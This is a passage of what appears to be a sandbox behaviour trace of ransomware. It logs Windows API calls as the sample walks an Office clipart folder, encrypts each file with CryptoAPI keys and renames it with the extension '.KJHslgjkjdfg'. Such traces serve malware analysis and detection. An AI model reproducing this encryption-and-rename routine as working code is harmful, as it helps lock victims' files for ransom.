out: pbBuffer=0x2f0ee68) returned 1 [0231.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.152] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0231.155] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.155] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.155] GetProcessHeap () returned 0x2ef0000 [0231.155] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.155] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.155] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.155] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.155] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.156] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.156] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.156] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.156] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdd5, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdd5, lpOverlapped=0x0) returned 1 [0231.156] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xde0, dwBufLen=0xde0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xde0) returned 1 [0231.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.156] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xde0, lpOverlapped=0x0) returned 1 [0231.157] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.157] SetEndOfFile (hFile=0x130) returned 1 [0231.159] GetProcessHeap () returned 0x2ef0000 [0231.159] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.160] GetProcessHeap () returned 0x2ef0000 [0231.160] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.kjhslgjkjdfg")) returned 1 [0231.162] CloseHandle (hObject=0x130) returned 1 [0231.162] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0231.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.163] GetProcessHeap () returned 0x2ef0000 [0231.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.163] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.164] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.164] GetProcessHeap () returned 0x2ef0000 [0231.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.164] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.166] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.166] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.166] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.166] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.167] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.167] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.174] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.174] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.175] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.175] SetEndOfFile (hFile=0x130) returned 1 [0231.178] GetProcessHeap () returned 0x2ef0000 [0231.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.178] GetProcessHeap () returned 0x2ef0000 [0231.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.kjhslgjkjdfg")) returned 1 [0231.180] CloseHandle (hObject=0x130) returned 1 [0231.180] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0231.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.181] GetProcessHeap () returned 0x2ef0000 [0231.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.181] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.182] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.184] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.185] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.185] GetProcessHeap () returned 0x2ef0000 [0231.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.185] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.185] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.185] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.186] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c08, lpOverlapped=0x0) returned 1 [0231.188] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10) returned 1 [0231.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.189] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c10, lpOverlapped=0x0) returned 1 [0231.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.189] SetEndOfFile (hFile=0x130) returned 1 [0231.190] GetProcessHeap () returned 0x2ef0000 [0231.190] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.190] GetProcessHeap () returned 0x2ef0000 [0231.190] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.kjhslgjkjdfg")) returned 1 [0231.192] CloseHandle (hObject=0x130) returned 1 [0231.192] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0231.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.195] GetProcessHeap () returned 0x2ef0000 [0231.195] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.195] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.195] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.197] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.197] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.197] GetProcessHeap () returned 0x2ef0000 [0231.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.197] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.197] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.197] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.197] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.198] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.198] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.198] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.198] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x48fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x48fc, lpOverlapped=0x0) returned 1 [0231.199] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4900, dwBufLen=0x4900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4900) returned 1 [0231.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.200] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4900, lpOverlapped=0x0) returned 1 [0231.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x49d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.200] SetEndOfFile (hFile=0x130) returned 1 [0231.203] GetProcessHeap () returned 0x2ef0000 [0231.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.203] GetProcessHeap () returned 0x2ef0000 [0231.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.kjhslgjkjdfg")) returned 1 [0231.205] CloseHandle (hObject=0x130) returned 1 [0231.205] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0231.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.207] GetProcessHeap () returned 0x2ef0000 [0231.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.207] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.208] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.208] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.208] GetProcessHeap () returned 0x2ef0000 [0231.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.208] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.208] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.208] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 